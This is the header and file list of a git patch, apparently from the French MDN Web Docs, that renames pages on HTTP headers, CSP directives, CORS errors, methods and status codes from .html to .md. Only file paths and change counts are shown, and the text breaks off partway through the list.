From df12ec2617159d79d2ea959389358ef52423f9ff Mon Sep 17 00:00:00 2001 From: julieng Date: Fri, 17 Sep 2021 20:49:55 +0200 Subject: move *.html to *.md --- files/fr/web/http/authentication/index.html | 130 ----- files/fr/web/http/authentication/index.md | 130 +++++ .../index.html | 70 --- .../choosing_between_www_and_non-www_urls/index.md | 70 +++ .../web/http/basics_of_http/data_uris/index.html | 122 ----- .../fr/web/http/basics_of_http/data_uris/index.md | 122 +++++ .../basics_of_http/evolution_of_http/index.html | 202 -------- .../http/basics_of_http/evolution_of_http/index.md | 202 ++++++++ .../identifying_resources_on_the_web/index.html | 170 ------- .../identifying_resources_on_the_web/index.md | 170 +++++++ files/fr/web/http/basics_of_http/index.html | 48 -- files/fr/web/http/basics_of_http/index.md | 48 ++ .../mime_types/common_types/index.html | 356 ------------- .../mime_types/common_types/index.md | 356 +++++++++++++ .../web/http/basics_of_http/mime_types/index.html | 318 ------------ .../fr/web/http/basics_of_http/mime_types/index.md | 318 ++++++++++++ .../http/basics_of_http/resource_urls/index.html | 68 --- .../web/http/basics_of_http/resource_urls/index.md | 68 +++ .../index.html | 240 --------- .../index.md | 240 +++++++++ files/fr/web/http/caching/index.html | 155 ------ files/fr/web/http/caching/index.md | 155 ++++++ files/fr/web/http/compression/index.html | 69 --- files/fr/web/http/compression/index.md | 69 +++ files/fr/web/http/conditional_requests/index.html | 147 ------ files/fr/web/http/conditional_requests/index.md | 147 ++++++ files/fr/web/http/content_negotiation/index.html | 143 ------ files/fr/web/http/content_negotiation/index.md | 143 ++++++ files/fr/web/http/cookies/index.html | 194 -------- files/fr/web/http/cookies/index.md | 194 ++++++++ .../corsalloworiginnotmatchingorigin/index.html | 43 -- .../corsalloworiginnotmatchingorigin/index.md | 43 ++ .../http/cors/errors/corsdidnotsucceed/index.html | 35 -- .../http/cors/errors/corsdidnotsucceed/index.md | 35 ++ .../web/http/cors/errors/corsdisabled/index.html | 44 -- .../fr/web/http/cors/errors/corsdisabled/index.md | 44 ++ .../cors/errors/corsmissingalloworigin/index.html | 49 -- .../cors/errors/corsmissingalloworigin/index.md | 49 ++ .../http/cors/errors/corsrequestnothttp/index.html | 43 -- .../http/cors/errors/corsrequestnothttp/index.md | 43 ++ files/fr/web/http/cors/errors/index.html | 79 --- files/fr/web/http/cors/errors/index.md | 79 +++ files/fr/web/http/cors/index.html | 554 --------------------- files/fr/web/http/cors/index.md | 554 +++++++++++++++++++++ files/fr/web/http/csp/index.html | 186 ------- files/fr/web/http/csp/index.md | 186 +++++++ files/fr/web/http/feature_policy/index.html | 173 ------- files/fr/web/http/feature_policy/index.md | 173 +++++++ .../fr/web/http/headers/accept-charset/index.html | 81 --- files/fr/web/http/headers/accept-charset/index.md | 81 +++ .../fr/web/http/headers/accept-encoding/index.html | 111 ----- files/fr/web/http/headers/accept-encoding/index.md | 111 +++++ .../fr/web/http/headers/accept-language/index.html | 93 ---- files/fr/web/http/headers/accept-language/index.md | 93 ++++ files/fr/web/http/headers/accept/index.html | 88 ---- files/fr/web/http/headers/accept/index.md | 88 ++++ .../access-control-allow-methods/index.html | 84 ---- .../headers/access-control-allow-methods/index.md | 84 ++++ .../headers/access-control-allow-origin/index.html | 82 --- .../headers/access-control-allow-origin/index.md | 82 +++ .../access-control-request-headers/index.html | 71 --- .../access-control-request-headers/index.md | 71 +++ files/fr/web/http/headers/age/index.html | 69 --- files/fr/web/http/headers/age/index.md | 69 +++ files/fr/web/http/headers/allow/index.html | 66 --- files/fr/web/http/headers/allow/index.md | 66 +++ files/fr/web/http/headers/authorization/index.html | 89 ---- files/fr/web/http/headers/authorization/index.md | 89 ++++ files/fr/web/http/headers/cache-control/index.html | 217 -------- files/fr/web/http/headers/cache-control/index.md | 217 ++++++++ files/fr/web/http/headers/connection/index.html | 51 -- files/fr/web/http/headers/connection/index.md | 51 ++ .../http/headers/content-disposition/index.html | 145 ------ .../web/http/headers/content-disposition/index.md | 145 ++++++ .../web/http/headers/content-encoding/index.html | 105 ---- .../fr/web/http/headers/content-encoding/index.md | 105 ++++ .../web/http/headers/content-language/index.html | 107 ---- .../fr/web/http/headers/content-language/index.md | 107 ++++ .../fr/web/http/headers/content-length/index.html | 62 --- files/fr/web/http/headers/content-length/index.md | 62 +++ .../content-security-policy-report-only/index.html | 156 ------ .../content-security-policy-report-only/index.md | 156 ++++++ .../content-security-policy/base-uri/index.html | 109 ---- .../content-security-policy/base-uri/index.md | 109 ++++ .../block-all-mixed-content/index.html | 68 --- .../block-all-mixed-content/index.md | 68 +++ .../content-security-policy/child-src/index.html | 98 ---- .../content-security-policy/child-src/index.md | 98 ++++ .../content-security-policy/connect-src/index.html | 129 ----- .../content-security-policy/connect-src/index.md | 129 +++++ .../content-security-policy/default-src/index.html | 174 ------- .../content-security-policy/default-src/index.md | 174 +++++++ .../content-security-policy/font-src/index.html | 100 ---- .../content-security-policy/font-src/index.md | 100 ++++ .../content-security-policy/form-action/index.html | 113 ----- .../content-security-policy/form-action/index.md | 113 +++++ .../frame-ancestors/index.html | 124 ----- .../frame-ancestors/index.md | 124 +++++ .../content-security-policy/frame-src/index.html | 95 ---- .../content-security-policy/frame-src/index.md | 95 ++++ .../content-security-policy/img-src/index.html | 95 ---- .../content-security-policy/img-src/index.md | 95 ++++ .../headers/content-security-policy/index.html | 254 ---------- .../http/headers/content-security-policy/index.md | 254 ++++++++++ .../manifest-src/index.html | 91 ---- .../content-security-policy/manifest-src/index.md | 91 ++++ .../content-security-policy/media-src/index.html | 99 ---- .../content-security-policy/media-src/index.md | 99 ++++ .../content-security-policy/navigate-to/index.html | 102 ---- .../content-security-policy/navigate-to/index.md | 102 ++++ .../content-security-policy/object-src/index.html | 104 ---- .../content-security-policy/object-src/index.md | 104 ++++ .../plugin-types/index.html | 119 ----- .../content-security-policy/plugin-types/index.md | 119 +++++ .../prefetch-src/index.html | 88 ---- .../content-security-policy/prefetch-src/index.md | 88 ++++ .../content-security-policy/referrer/index.html | 64 --- .../content-security-policy/referrer/index.md | 64 +++ .../content-security-policy/report-to/index.html | 79 --- .../content-security-policy/report-to/index.md | 79 +++ .../content-security-policy/report-uri/index.html | 131 ----- .../content-security-policy/report-uri/index.md | 131 +++++ .../require-sri-for/index.html | 61 --- .../require-sri-for/index.md | 61 +++ .../require-trusted-types-for/index.html | 88 ---- .../require-trusted-types-for/index.md | 88 ++++ .../content-security-policy/sandbox/index.html | 109 ---- .../content-security-policy/sandbox/index.md | 109 ++++ .../script-src-attr/index.html | 94 ---- .../script-src-attr/index.md | 94 ++++ .../script-src-elem/index.html | 96 ---- .../script-src-elem/index.md | 96 ++++ .../content-security-policy/script-src/index.html | 176 ------- .../content-security-policy/script-src/index.md | 176 +++++++ .../style-src-attr/index.html | 97 ---- .../style-src-attr/index.md | 97 ++++ .../style-src-elem/index.html | 97 ---- .../style-src-elem/index.md | 97 ++++ .../content-security-policy/style-src/index.html | 181 ------- .../content-security-policy/style-src/index.md | 181 +++++++ .../trusted-types/index.html | 89 ---- .../content-security-policy/trusted-types/index.md | 89 ++++ .../upgrade-insecure-requests/index.html | 96 ---- .../upgrade-insecure-requests/index.md | 96 ++++ .../content-security-policy/worker-src/index.html | 98 ---- .../content-security-policy/worker-src/index.md | 98 ++++ files/fr/web/http/headers/content-type/index.html | 115 ----- files/fr/web/http/headers/content-type/index.md | 115 +++++ files/fr/web/http/headers/date/index.html | 76 --- files/fr/web/http/headers/date/index.md | 76 +++ files/fr/web/http/headers/dnt/index.html | 81 --- files/fr/web/http/headers/dnt/index.md | 81 +++ files/fr/web/http/headers/etag/index.html | 101 ---- files/fr/web/http/headers/etag/index.md | 101 ++++ files/fr/web/http/headers/expires/index.html | 73 --- files/fr/web/http/headers/expires/index.md | 73 +++ .../feature-policy/accelerometer/index.html | 64 --- .../headers/feature-policy/accelerometer/index.md | 64 +++ .../fr/web/http/headers/feature-policy/index.html | 161 ------ files/fr/web/http/headers/feature-policy/index.md | 161 ++++++ files/fr/web/http/headers/host/index.html | 73 --- files/fr/web/http/headers/host/index.md | 73 +++ .../web/http/headers/if-modified-since/index.html | 90 ---- .../fr/web/http/headers/if-modified-since/index.md | 90 ++++ files/fr/web/http/headers/if-none-match/index.html | 94 ---- files/fr/web/http/headers/if-none-match/index.md | 94 ++++ files/fr/web/http/headers/index.html | 449 ----------------- files/fr/web/http/headers/index.md | 449 +++++++++++++++++ files/fr/web/http/headers/last-modified/index.html | 90 ---- files/fr/web/http/headers/last-modified/index.md | 90 ++++ files/fr/web/http/headers/location/index.html | 76 --- files/fr/web/http/headers/location/index.md | 76 +++ files/fr/web/http/headers/origin/index.html | 77 --- files/fr/web/http/headers/origin/index.md | 77 +++ files/fr/web/http/headers/referer/index.html | 84 ---- files/fr/web/http/headers/referer/index.md | 84 ++++ .../fr/web/http/headers/referrer-policy/index.html | 267 ---------- files/fr/web/http/headers/referrer-policy/index.md | 267 ++++++++++ files/fr/web/http/headers/server/index.html | 71 --- files/fr/web/http/headers/server/index.md | 71 +++ files/fr/web/http/headers/set-cookie/index.html | 213 -------- files/fr/web/http/headers/set-cookie/index.md | 213 ++++++++ .../http/headers/set-cookie/samesite/index.html | 117 ----- .../web/http/headers/set-cookie/samesite/index.md | 117 +++++ files/fr/web/http/headers/tk/index.html | 91 ---- files/fr/web/http/headers/tk/index.md | 91 ++++ files/fr/web/http/headers/trailer/index.html | 98 ---- files/fr/web/http/headers/trailer/index.md | 98 ++++ files/fr/web/http/headers/vary/index.html | 85 ---- files/fr/web/http/headers/vary/index.md | 85 ++++ .../web/http/headers/www-authenticate/index.html | 78 --- .../fr/web/http/headers/www-authenticate/index.md | 78 +++ .../http/headers/x-content-type-options/index.html | 90 ---- .../http/headers/x-content-type-options/index.md | 90 ++++ .../fr/web/http/headers/x-frame-options/index.html | 149 ------ files/fr/web/http/headers/x-frame-options/index.md | 149 ++++++ files/fr/web/http/index.html | 65 --- files/fr/web/http/index.md | 65 +++ files/fr/web/http/index/index.html | 15 - files/fr/web/http/index/index.md | 15 + files/fr/web/http/link_prefetching_faq/index.html | 133 ----- files/fr/web/http/link_prefetching_faq/index.md | 133 +++++ files/fr/web/http/methods/connect/index.html | 85 ---- files/fr/web/http/methods/connect/index.md | 85 ++++ files/fr/web/http/methods/delete/index.html | 94 ---- files/fr/web/http/methods/delete/index.md | 94 ++++ files/fr/web/http/methods/get/index.html | 72 --- files/fr/web/http/methods/get/index.md | 72 +++ files/fr/web/http/methods/head/index.html | 76 --- files/fr/web/http/methods/head/index.md | 76 +++ files/fr/web/http/methods/index.html | 72 --- files/fr/web/http/methods/index.md | 72 +++ files/fr/web/http/methods/options/index.html | 123 ----- files/fr/web/http/methods/options/index.md | 123 +++++ files/fr/web/http/methods/patch/index.html | 90 ---- files/fr/web/http/methods/patch/index.md | 90 ++++ files/fr/web/http/methods/post/index.html | 118 ----- files/fr/web/http/methods/post/index.md | 118 +++++ files/fr/web/http/methods/put/index.html | 87 ---- files/fr/web/http/methods/put/index.md | 87 ++++ files/fr/web/http/methods/trace/index.html | 76 --- files/fr/web/http/methods/trace/index.md | 76 +++ files/fr/web/http/overview/index.html | 179 ------- files/fr/web/http/overview/index.md | 179 +++++++ files/fr/web/http/public_key_pinning/index.html | 137 ----- files/fr/web/http/public_key_pinning/index.md | 137 +++++ files/fr/web/http/redirections/index.html | 261 ---------- files/fr/web/http/redirections/index.md | 261 ++++++++++ .../http/resources_and_specifications/index.html | 268 ---------- .../web/http/resources_and_specifications/index.md | 268 ++++++++++ files/fr/web/http/session/index.html | 168 ------- files/fr/web/http/session/index.md | 168 +++++++ files/fr/web/http/status/100/index.html | 44 -- files/fr/web/http/status/100/index.md | 44 ++ files/fr/web/http/status/101/index.html | 51 -- files/fr/web/http/status/101/index.md | 51 ++ files/fr/web/http/status/103/index.html | 47 -- files/fr/web/http/status/103/index.md | 47 ++ files/fr/web/http/status/200/index.html | 51 -- files/fr/web/http/status/200/index.md | 51 ++ files/fr/web/http/status/201/index.html | 29 -- files/fr/web/http/status/201/index.md | 29 ++ files/fr/web/http/status/202/index.html | 37 -- files/fr/web/http/status/202/index.md | 37 ++ files/fr/web/http/status/203/index.html | 41 -- files/fr/web/http/status/203/index.md | 41 ++ files/fr/web/http/status/204/index.html | 42 -- files/fr/web/http/status/204/index.md | 42 ++ files/fr/web/http/status/205/index.html | 37 -- files/fr/web/http/status/205/index.md | 37 ++ files/fr/web/http/status/206/index.html | 80 --- files/fr/web/http/status/206/index.md | 80 +++ files/fr/web/http/status/300/index.html | 45 -- files/fr/web/http/status/300/index.md | 45 ++ files/fr/web/http/status/301/index.html | 44 -- files/fr/web/http/status/301/index.md | 44 ++ files/fr/web/http/status/302/index.html | 48 -- files/fr/web/http/status/302/index.md | 48 ++ files/fr/web/http/status/303/index.html | 41 -- files/fr/web/http/status/303/index.md | 41 ++ files/fr/web/http/status/304/index.html | 48 -- files/fr/web/http/status/304/index.md | 48 ++ files/fr/web/http/status/307/index.html | 48 -- files/fr/web/http/status/307/index.md | 48 ++ files/fr/web/http/status/308/index.html | 48 -- files/fr/web/http/status/308/index.md | 48 ++ files/fr/web/http/status/400/index.html | 32 -- files/fr/web/http/status/400/index.md | 32 ++ files/fr/web/http/status/401/index.html | 57 --- files/fr/web/http/status/401/index.md | 57 +++ files/fr/web/http/status/402/index.html | 45 -- files/fr/web/http/status/402/index.md | 45 ++ files/fr/web/http/status/403/index.html | 50 -- files/fr/web/http/status/403/index.md | 50 ++ files/fr/web/http/status/404/index.html | 59 --- files/fr/web/http/status/404/index.md | 59 +++ files/fr/web/http/status/405/index.html | 40 -- files/fr/web/http/status/405/index.md | 40 ++ files/fr/web/http/status/406/index.html | 47 -- files/fr/web/http/status/406/index.md | 47 ++ files/fr/web/http/status/407/index.html | 55 -- files/fr/web/http/status/407/index.md | 55 ++ files/fr/web/http/status/408/index.html | 43 -- files/fr/web/http/status/408/index.md | 43 ++ files/fr/web/http/status/409/index.html | 40 -- files/fr/web/http/status/409/index.md | 40 ++ files/fr/web/http/status/410/index.html | 50 -- files/fr/web/http/status/410/index.md | 50 ++ files/fr/web/http/status/411/index.html | 41 -- files/fr/web/http/status/411/index.md | 41 ++ files/fr/web/http/status/412/index.html | 45 -- files/fr/web/http/status/412/index.md | 45 ++ files/fr/web/http/status/413/index.html | 39 -- files/fr/web/http/status/413/index.md | 39 ++ files/fr/web/http/status/414/index.html | 46 -- files/fr/web/http/status/414/index.md | 46 ++ files/fr/web/http/status/415/index.html | 42 -- files/fr/web/http/status/415/index.md | 42 ++ files/fr/web/http/status/416/index.html | 48 -- files/fr/web/http/status/416/index.md | 48 ++ files/fr/web/http/status/417/index.html | 41 -- files/fr/web/http/status/417/index.md | 41 ++ files/fr/web/http/status/418/index.html | 39 -- files/fr/web/http/status/418/index.md | 39 ++ files/fr/web/http/status/422/index.html | 40 -- files/fr/web/http/status/422/index.md | 40 ++ files/fr/web/http/status/425/index.html | 37 -- files/fr/web/http/status/425/index.md | 37 ++ files/fr/web/http/status/426/index.html | 51 -- files/fr/web/http/status/426/index.md | 51 ++ files/fr/web/http/status/428/index.html | 44 -- files/fr/web/http/status/428/index.md | 44 ++ files/fr/web/http/status/429/index.html | 46 -- files/fr/web/http/status/429/index.md | 46 ++ files/fr/web/http/status/431/index.html | 40 -- files/fr/web/http/status/431/index.md | 40 ++ files/fr/web/http/status/451/index.html | 64 --- files/fr/web/http/status/451/index.md | 64 +++ files/fr/web/http/status/500/index.html | 39 -- files/fr/web/http/status/500/index.md | 39 ++ files/fr/web/http/status/501/index.html | 42 -- files/fr/web/http/status/501/index.md | 42 ++ files/fr/web/http/status/502/index.html | 43 -- files/fr/web/http/status/502/index.md | 43 ++ files/fr/web/http/status/503/index.html | 45 -- files/fr/web/http/status/503/index.md | 45 ++ files/fr/web/http/status/504/index.html | 44 -- files/fr/web/http/status/504/index.md | 44 ++ files/fr/web/http/status/505/index.html | 38 -- files/fr/web/http/status/505/index.md | 38 ++ files/fr/web/http/status/506/index.html | 35 -- files/fr/web/http/status/506/index.md | 35 ++ files/fr/web/http/status/507/index.html | 35 -- files/fr/web/http/status/507/index.md | 35 ++ files/fr/web/http/status/508/index.html | 36 -- files/fr/web/http/status/508/index.md | 36 ++ files/fr/web/http/status/510/index.html | 35 -- files/fr/web/http/status/510/index.md | 35 ++ files/fr/web/http/status/511/index.html | 43 -- files/fr/web/http/status/511/index.md | 43 ++ files/fr/web/http/status/index.html | 183 ------- files/fr/web/http/status/index.md | 183 +++++++ 342 files changed, 16495 insertions(+), 16495 deletions(-) delete mode 100644 files/fr/web/http/authentication/index.html create mode 100644 files/fr/web/http/authentication/index.md delete mode 100644 files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html create mode 100644 files/fr/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.md delete mode 100644 files/fr/web/http/basics_of_http/data_uris/index.html create mode 100644 files/fr/web/http/basics_of_http/data_uris/index.md delete mode 100644 files/fr/web/http/basics_of_http/evolution_of_http/index.html create mode 100644 files/fr/web/http/basics_of_http/evolution_of_http/index.md delete mode 100644 files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.html create mode 100644 files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md delete mode 100644 files/fr/web/http/basics_of_http/index.html create mode 100644 files/fr/web/http/basics_of_http/index.md delete mode 100644 files/fr/web/http/basics_of_http/mime_types/common_types/index.html create mode 100644 files/fr/web/http/basics_of_http/mime_types/common_types/index.md delete mode 100644 files/fr/web/http/basics_of_http/mime_types/index.html create mode 100644 files/fr/web/http/basics_of_http/mime_types/index.md delete mode 100644 files/fr/web/http/basics_of_http/resource_urls/index.html create mode 100644 files/fr/web/http/basics_of_http/resource_urls/index.md delete mode 100644 files/fr/web/http/browser_detection_using_the_user_agent/index.html create mode 100644 files/fr/web/http/browser_detection_using_the_user_agent/index.md delete mode 100644 files/fr/web/http/caching/index.html create mode 100644 files/fr/web/http/caching/index.md delete mode 100644 files/fr/web/http/compression/index.html create mode 100644 files/fr/web/http/compression/index.md delete mode 100644 files/fr/web/http/conditional_requests/index.html create mode 100644 files/fr/web/http/conditional_requests/index.md delete mode 100644 files/fr/web/http/content_negotiation/index.html create mode 100644 files/fr/web/http/content_negotiation/index.md delete mode 100644 files/fr/web/http/cookies/index.html create mode 100644 files/fr/web/http/cookies/index.md delete mode 100644 files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html create mode 100644 files/fr/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.md delete mode 100644 files/fr/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/fr/web/http/cors/errors/corsdidnotsucceed/index.md delete mode 100644 files/fr/web/http/cors/errors/corsdisabled/index.html create mode 100644 files/fr/web/http/cors/errors/corsdisabled/index.md delete mode 100644 files/fr/web/http/cors/errors/corsmissingalloworigin/index.html create mode 100644 files/fr/web/http/cors/errors/corsmissingalloworigin/index.md delete mode 100644 files/fr/web/http/cors/errors/corsrequestnothttp/index.html create mode 100644 files/fr/web/http/cors/errors/corsrequestnothttp/index.md delete mode 100644 files/fr/web/http/cors/errors/index.html create mode 100644 files/fr/web/http/cors/errors/index.md delete mode 100644 files/fr/web/http/cors/index.html create mode 100644 files/fr/web/http/cors/index.md delete mode 100644 files/fr/web/http/csp/index.html create mode 100644 files/fr/web/http/csp/index.md delete mode 100644 files/fr/web/http/feature_policy/index.html create mode 100644 files/fr/web/http/feature_policy/index.md delete mode 100644 files/fr/web/http/headers/accept-charset/index.html create mode 100644 files/fr/web/http/headers/accept-charset/index.md delete mode 100644 files/fr/web/http/headers/accept-encoding/index.html create mode 100644 files/fr/web/http/headers/accept-encoding/index.md delete mode 100644 files/fr/web/http/headers/accept-language/index.html create mode 100644 files/fr/web/http/headers/accept-language/index.md delete mode 100644 files/fr/web/http/headers/accept/index.html create mode 100644 files/fr/web/http/headers/accept/index.md delete mode 100644 files/fr/web/http/headers/access-control-allow-methods/index.html create mode 100644 files/fr/web/http/headers/access-control-allow-methods/index.md delete mode 100644 files/fr/web/http/headers/access-control-allow-origin/index.html create mode 100644 files/fr/web/http/headers/access-control-allow-origin/index.md delete mode 100644 files/fr/web/http/headers/access-control-request-headers/index.html create mode 100644 files/fr/web/http/headers/access-control-request-headers/index.md delete mode 100644 files/fr/web/http/headers/age/index.html create mode 100644 files/fr/web/http/headers/age/index.md delete mode 100644 files/fr/web/http/headers/allow/index.html create mode 100644 files/fr/web/http/headers/allow/index.md delete mode 100644 files/fr/web/http/headers/authorization/index.html create mode 100644 files/fr/web/http/headers/authorization/index.md delete mode 100644 files/fr/web/http/headers/cache-control/index.html create mode 100644 files/fr/web/http/headers/cache-control/index.md delete mode 100644 files/fr/web/http/headers/connection/index.html create mode 100644 files/fr/web/http/headers/connection/index.md delete mode 100644 files/fr/web/http/headers/content-disposition/index.html create mode 100644 files/fr/web/http/headers/content-disposition/index.md delete mode 100644 files/fr/web/http/headers/content-encoding/index.html create mode 100644 files/fr/web/http/headers/content-encoding/index.md delete mode 100644 files/fr/web/http/headers/content-language/index.html create mode 100644 files/fr/web/http/headers/content-language/index.md delete mode 100644 files/fr/web/http/headers/content-length/index.html create mode 100644 files/fr/web/http/headers/content-length/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy-report-only/index.html create mode 100644 files/fr/web/http/headers/content-security-policy-report-only/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/base-uri/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/base-uri/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/child-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/child-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/connect-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/connect-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/default-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/default-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/font-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/font-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/form-action/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/form-action/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/frame-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/frame-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/img-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/img-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/manifest-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/manifest-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/media-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/media-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/navigate-to/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/navigate-to/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/object-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/object-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/plugin-types/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/plugin-types/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/prefetch-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/prefetch-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/referrer/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/referrer/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/report-to/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/report-to/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/report-uri/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/report-uri/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/require-sri-for/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/require-sri-for/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/sandbox/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/sandbox/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/script-src-attr/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/script-src-attr/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/script-src-elem/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/script-src-elem/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/script-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/script-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/style-src-attr/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/style-src-attr/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/style-src-elem/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/style-src-elem/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/style-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/style-src/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/trusted-types/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/trusted-types/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md delete mode 100644 files/fr/web/http/headers/content-security-policy/worker-src/index.html create mode 100644 files/fr/web/http/headers/content-security-policy/worker-src/index.md delete mode 100644 files/fr/web/http/headers/content-type/index.html create mode 100644 files/fr/web/http/headers/content-type/index.md delete mode 100644 files/fr/web/http/headers/date/index.html create mode 100644 files/fr/web/http/headers/date/index.md delete mode 100644 files/fr/web/http/headers/dnt/index.html create mode 100644 files/fr/web/http/headers/dnt/index.md delete mode 100644 files/fr/web/http/headers/etag/index.html create mode 100644 files/fr/web/http/headers/etag/index.md delete mode 100644 files/fr/web/http/headers/expires/index.html create mode 100644 files/fr/web/http/headers/expires/index.md delete mode 100644 files/fr/web/http/headers/feature-policy/accelerometer/index.html create mode 100644 files/fr/web/http/headers/feature-policy/accelerometer/index.md delete mode 100644 files/fr/web/http/headers/feature-policy/index.html create mode 100644 files/fr/web/http/headers/feature-policy/index.md delete mode 100644 files/fr/web/http/headers/host/index.html create mode 100644 files/fr/web/http/headers/host/index.md delete mode 100644 files/fr/web/http/headers/if-modified-since/index.html create mode 100644 files/fr/web/http/headers/if-modified-since/index.md delete mode 100644 files/fr/web/http/headers/if-none-match/index.html create mode 100644 files/fr/web/http/headers/if-none-match/index.md delete mode 100644 files/fr/web/http/headers/index.html create mode 100644 files/fr/web/http/headers/index.md delete mode 100644 files/fr/web/http/headers/last-modified/index.html create mode 100644 files/fr/web/http/headers/last-modified/index.md delete mode 100644 files/fr/web/http/headers/location/index.html create mode 100644 files/fr/web/http/headers/location/index.md delete mode 100644 files/fr/web/http/headers/origin/index.html create mode 100644 files/fr/web/http/headers/origin/index.md delete mode 100644 files/fr/web/http/headers/referer/index.html create mode 100644 files/fr/web/http/headers/referer/index.md delete mode 100644 files/fr/web/http/headers/referrer-policy/index.html create mode 100644 files/fr/web/http/headers/referrer-policy/index.md delete mode 100644 files/fr/web/http/headers/server/index.html create mode 100644 files/fr/web/http/headers/server/index.md delete mode 100644 files/fr/web/http/headers/set-cookie/index.html create mode 100644 files/fr/web/http/headers/set-cookie/index.md delete mode 100644 files/fr/web/http/headers/set-cookie/samesite/index.html create mode 100644 files/fr/web/http/headers/set-cookie/samesite/index.md delete mode 100644 files/fr/web/http/headers/tk/index.html create mode 100644 files/fr/web/http/headers/tk/index.md delete mode 100644 files/fr/web/http/headers/trailer/index.html create mode 100644 files/fr/web/http/headers/trailer/index.md delete mode 100644 files/fr/web/http/headers/vary/index.html create mode 100644 files/fr/web/http/headers/vary/index.md delete mode 100644 files/fr/web/http/headers/www-authenticate/index.html create mode 100644 files/fr/web/http/headers/www-authenticate/index.md delete mode 100644 files/fr/web/http/headers/x-content-type-options/index.html create mode 100644 files/fr/web/http/headers/x-content-type-options/index.md delete mode 100644 files/fr/web/http/headers/x-frame-options/index.html create mode 100644 files/fr/web/http/headers/x-frame-options/index.md delete mode 100644 files/fr/web/http/index.html create mode 100644 files/fr/web/http/index.md delete mode 100644 files/fr/web/http/index/index.html create mode 100644 files/fr/web/http/index/index.md delete mode 100644 files/fr/web/http/link_prefetching_faq/index.html create mode 100644 files/fr/web/http/link_prefetching_faq/index.md delete mode 100644 files/fr/web/http/methods/connect/index.html create mode 100644 files/fr/web/http/methods/connect/index.md delete mode 100644 files/fr/web/http/methods/delete/index.html create mode 100644 files/fr/web/http/methods/delete/index.md delete mode 100644 files/fr/web/http/methods/get/index.html create mode 100644 files/fr/web/http/methods/get/index.md delete mode 100644 files/fr/web/http/methods/head/index.html create mode 100644 files/fr/web/http/methods/head/index.md delete mode 100644 files/fr/web/http/methods/index.html create mode 100644 files/fr/web/http/methods/index.md delete mode 100644 files/fr/web/http/methods/options/index.html create mode 100644 files/fr/web/http/methods/options/index.md delete mode 100644 files/fr/web/http/methods/patch/index.html create mode 100644 files/fr/web/http/methods/patch/index.md delete mode 100644 files/fr/web/http/methods/post/index.html create mode 100644 files/fr/web/http/methods/post/index.md delete mode 100644 files/fr/web/http/methods/put/index.html create mode 100644 files/fr/web/http/methods/put/index.md delete mode 100644 